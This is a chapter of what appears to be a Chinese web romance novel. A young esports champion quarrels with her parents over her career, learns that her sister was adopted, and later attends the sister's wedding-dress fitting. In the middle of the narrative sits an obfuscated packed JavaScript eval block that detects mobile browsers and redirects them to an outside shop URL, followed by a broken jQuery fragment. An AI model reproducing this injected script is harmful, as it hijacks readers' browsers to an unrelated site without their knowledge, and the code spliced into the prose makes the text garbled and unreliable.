26

    “你不能因为收养了我就——”

    程照媤将文件拿过来,重新翻回正面,将某一个名字指给程知簌看,让她的话卡在喉咙。

    “程照媤?”程知簌不由自主地将名字念了出来。

    程父此时真不想承认眼前呆傻的姑娘是他亲闺女。

    程母也对自家女儿的行为感到好笑:“想什么呢,你是我们亲生的,媤媤和你也是亲姐妹。”

    程知簌人还有点懵:“所以意思是,姐姐是……大伯的女儿?”

    “什么大伯,你这孩子尽乱说。”

    “你大伯是不婚主义者,哪平白无故多出个那么大的孩子?媤媤是你二伯的女儿,当初他们车祸不在了,直系亲属只剩下我们和你大伯。你大伯很喜欢你姐姐,最开始是决定收养的。”

    “但是后来我们商量过了,觉得一个女孩子跟着你大伯这个大老爷们不合适。我们那个时候去医院查,都说和孩子无缘,就想着接过来,后面也办了正式手续。”

    程母心疼地握住程照媤的手,抹了把眼角的泪:“我知道,你一直因为我们更疼你姐姐不高兴,但是媤媤她和你不一样,她小时候吃了很多苦。”

    程知簌被这消息惊在原地。

    她怎么也没想到,自己从小羡慕到大的姐姐竟然不是父母亲生的。

    这显得她十几年偶尔流露出来的嫉妒有些好笑。

    “我们怎么可能不疼你呢?”程父不像程母喜欢走煽|情路线,“从小到大,你要什么我们不给?你妈也是,你可是她快四十才生下来的孩子啊。”

    程知簌自觉理亏,但嘴上还是不饶人:“谁让你们那么偏心,姐姐高三想学艺术,你们二话不说就帮她打点了,怎么到我这里就是不同意?”

    她撇撇嘴,越说越理直气壮:“说白了,就是你们不体谅我呗。”

    程父被她这番话给气笑了:“请你也体谅一下我们老年人的心啊,还有几个月高考了,你这个时候突然说自己要打什么职业,还是去马来西亚,我们怎么可能放心?”

    “所以说来说去,还是我的错?”

    程知簌扯了下嘴角,露出一个比哭还难看的笑。

    这一年多她吃过的苦、受过的委屈、抗下所有压力的煎熬,在父亲这句话里似乎都成为了玩笑,又将她定义为年少叛逆的荒唐。

    酸涩的胀感席卷整个胸腔,密密麻麻的痛感流进四肢百骸。

    程知簌放在桌下的手紧紧攥着,才让她控制住自己脸上的情绪。

    米饭浓郁的香气充斥着她的鼻腔,她却觉得索然无味。

    争论又回到了开头。

    “你这孩子。”程母有点着急,“我们不是这个意——”

    “就是你的问题!”程父突然打断程母的话,语气里是满满的责备。

    “爸!”程照媤对程父摇摇头,示意他别说了。

    但程父没理她,继续对程知簌说:“你现在是长本事了,是拿冠军了,可是如果你没拿呢?”

    程知簌立刻反驳:“不可能!”

    “这个世界上没有不可能的事!”程父表情严肃,“我和你妈、你姐都去了解了你那个什么职业,能成为顶尖那一批的人极少。你那个时候怎么就觉得自己一定可以?”

    “我相信自己。”

    程父露出个轻蔑的表情:“相信?我们不了解职业,但也看过不少体坛成员。竞技游戏,说这两个字你不觉得好笑吗?”

    程知簌咬着下|唇,眼神里满是不甘。

    她只重复着:“我就可以!”

    但只换来程父的嗤笑。

    程母看着丈夫极具攻击性的话语,眼神示意他不要再说了。

    程照媤也帮着劝程知簌,让她体谅体谅父母。

    体谅,又是体谅。

    好像所有人都在告诉她,父母不容易,父母是为她好,让她懂事、让她让步、让她妥协。

    程知簌抬头看着桌上三人。

    又或者是……逼着她承认自己的热爱是错的、是幼稚的,只是不切实际的任性。

    可没有人问过她真正想要的是什么,没有人问过她为什么要拼尽全力抓住这来之不易的机会。

    也许他们只觉得她的热爱是一场彻头彻尾的天真。

    但他们曾经也有过鼓励的不是吗?

    在十六岁那年,她曾站在全国大赛总决赛的舞台,等待主持人念出FMVP的名字。

    父母与姐姐站在台下,听到她名字时一脸骄傲。

    是从什么时候变的呢?

    十八岁的程知簌捧着Dawn从海外寄来的合同,想不明白。

    可今年的程知簌已经十九岁了。

    当年与她一起打比赛的队友年龄相仿,有的以打单为副业,有的成为了职业选手,离大满贯只有一步之遥。

    他们可以的,她为什么就不可以?

    程知簌看着眼前的家人:“周叙临可以,我也一定可以。”

    程父程母不理解她话里的意思,程照媤懂。

    这么多年,她心里一直都有疑惑,只是作为姐姐,不知道该怎么开口。

    当程知簌真正说出这番话时,她才终于明白。

    程照媤起身去房间拿回刚才随手放床上的手机,调出相册,找出某张图片,再将手机递给程知簌。

    照片是程父程母在两侧,程照媤在下侧,中心是模糊的人影,上侧是大屏特写。

    程知簌高举冠军戒指,放在唇边轻吻。

    子女与父母的和解像潮湿季节的青草,即便只是在原地踱步,雨滴也终有一天会落下。

    ——

    纵使知道姐姐结婚,身为妹妹的自己一定会在婚礼当天充当伴娘的角色,程知簌捧着伴娘服的时候,还是有点恍惚。

    离婚率逐年攀升,但一本又一本爆火的言情小说告诉大家,众人依旧期盼做一场如童话故事般的美梦。

    程知簌不禁嗤笑,但想到姐姐终于找到了疼她爱她的人,也不免为她感到开心。

    周徐来与程照媤两人各自去试衣服,独留程知簌与周叙临各占据沙发一头,犹如银河两岸。

    店员提前倒好的四杯水放在桌上,没人去动。

    不少见的与周叙临的独处空间令程知簌浑身不自在,甚至产生了一种想逃离的冲动。

    正当她想着找什么借口提前开溜,周徐来很快换好衣服出来。

    不得不承认的是,周徐来与周叙临两人虽长相相似,周身气质完全不一致。

    如果用水来形容,周徐来就是沉静的湖泊,无风不起浪;周叙临则是连绵的江河,多变,让人摸不着头脑。

    “怎么样?”周徐来问。

    “很帅。”周叙临率先给予肯定,“不愧是我哥。”

    周徐来对镜展示一圈,的确有种年上男斯文败类的模样。

    不过程知簌向来对这种类型不感冒,如果眼前人不是自家姐姐未来的丈夫,她肯定要发消息和喻霓吐槽“真装”。

    话说喻霓这家伙怎么还不来?她实在不想再一次经历和周叙临共处一室的感觉了。

    程知簌低下头,在手机上敲敲打打

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594706|202522||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    周叙临看见她的动作,突然问:“你觉得我哥怎么样?”

    程照媤还没出来,周叙临口中的“你”问的谁不需要多猜。

    程知簌仔细观察片刻,遂也给出肯定的答复:“不错,很帅。”

    是很正常的回答,也是周叙临问她的,他反倒突然不太高兴了。

    “很帅吗?”他撇撇嘴,“其实也就一般吧,黑色西装不都一样?”

    “是吗?”周徐来看着镜子里自己的打扮,“这套的裁剪——”

    “是是是!”周叙临打断他,“哥,你再去换一套呗,不是定了好几套?”

    周徐来点点头,转身回试衣间。

    得到喻霓就在楼下等电梯的回复,程知簌的心情好了不少,闻言随口问了句:“婚礼不是就在后天?现在才试衣服买?”

    “提前就定了好几套,做工比较复杂,昨天才送来。”

    程知簌瞪大眼:“还能这样?定制是不是不能退款?”

    “是。”

    “那剩下的、婚礼不用的怎么办?”

    “留着收藏,或者等以后需要出席宴会再改。”

    程知簌这话绝对是真心实意:“还是我太穷了见识短,没想到这一层。”

    周叙临被她这话噎了一嘴,刚想说什么,程知簌的手机铃声又响了起来,他只好憋回去。

    “喂,簌簌,我刚接到电话说我车在地下停车场被刮了,倒霉——啊呸呸呸不能说,我先下去处理,不上去了。”来电人是喻霓。

    “在停车场都能被刮?”程知簌拿起手边的包包起身就要走,“我和你一起去吧,你在楼下等我。”

    “不用不用,无花在我旁边呢,你陪媤媤姐吧,我这都小事。”

    “行吧,有问题记得打电话。”

    挂断电话后,程知簌方才后知后觉自己又要独自面对周叙临的事实。

    看他那样,明显是还有什么话刚才没有说完。

    此时的程知簌无比后悔自己多嘴与周叙临搭那句话。

    好在店员凑来得虽突然,好歹将她从这种尴尬的气氛拉了出来。

    “程小姐,我们的伴娘服到了,您现在要试吗?”

    “我?”程知簌正要点头,想着来都来了,余光察觉到什么。

    程照媤推开试衣门,抬头看过来的时候,眼尾点缀的装饰与裙摆钻石交相辉映,美|艳不可方物。

    程知簌一直觉得自家姐姐是淡颜系美女,走的也向来是典雅风格。

    从未有一天见到她耀眼如睥睨天下的女皇。

    她的婚纱不是传统的纯白,而在白纱上缀满了星星点点的黄宝石,在光的照射下熠熠生辉。

    裙摆随着走路的步伐晃动,像极了黄河水,滚滚不息。

    周叙临简直要看呆了,程知簌在旁边喊了好几下,还上手拍他,才将他的神唤回来。

    “姐姐,你可真美。”程知簌站起来走进看,又朝沙发的方向努努嘴:“看把周叙临这家伙都美呆了。”

    “你这丫头,净乱说。”程照媤柔柔笑,“小临可比你大半岁呢,按理说你还得叫他哥哥。”

    程知簌心里想,那又如何,周叙临还叫过她“姐姐”呢。

    周徐来也出来了,两人对着彼此转圈展示,再上前说话,就有了当电灯泡的嫌疑。

    程知簌又挪回沙发。

    周叙临往她的方向移了移。

    “你干嘛?”程知簌神情警觉。

    周叙临眼底如深海:“程知簌,你不觉得,媤媤姐,和你长得很像吗?”